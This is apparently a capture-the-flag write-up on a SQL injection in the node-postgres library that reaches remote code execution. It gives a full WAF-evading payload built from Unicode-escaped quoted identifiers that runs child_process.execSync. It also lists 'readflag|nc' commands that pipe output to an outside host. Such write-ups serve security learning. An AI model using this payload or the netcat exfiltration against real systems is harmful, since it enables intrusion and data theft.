SELECT 1 FROM "\\'"
can be written as SELECT 1 FROM U&"!005c'" UESCAPE '!'
. Change all spaces to tabs and
the WAF will be happy.
Our final exploit payload for the username
field is:
','')\tON\tCONFLICT\t(username)\tDO\tUPDATE\tSET\tusername=''\tRETURNING\t1\tAS\tU&"!005c!0027+(r=process.mainModule.require,l=!0022!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022!002freadflag|nc!0020123.123!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022.123.123!00201234!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(r(!0022child_process!0022).execSync(l))]!002f!002f"\tUESCAPE\t'!';
- be me
- know nothing about mysql
- know nothing about
max_allowed_packet
- set up local env with postgres, node and
npm i [email protected]
without mysql - reproduce the original vulnerability (given as hint)
- spend hours researching unicode combining characters and diacritics
- find out unicode is not going to help
- see that we definitely need backslashes in the field name to exploit the vulnerable javascript literal
- start digging into
node pg
-s query parser - learn that the field names are not parsed on the client side but are reflected from the server
- consult the PostgreSQL documentation
- find interesting unicode quoted identifiers
U&"!005c'" UESCAPE '!'
- assemble query from
returning
clause, tabs and the above literals - celebrate the RCE
- find out that
require
is not defined inFunction("require")()
calls in node modules - use
process.mainModule.require
- spend another half an hour wondering why do all the reverse shells close the connection immediately
- give up and just execute
ls /|nc xxx
- find and execute
/readflag|nc xxx
hitcon{if_you_dont_know_why_plz_check_mysql_max_allowed_packet}
- submit, be surprised about what the flag is talking about and move on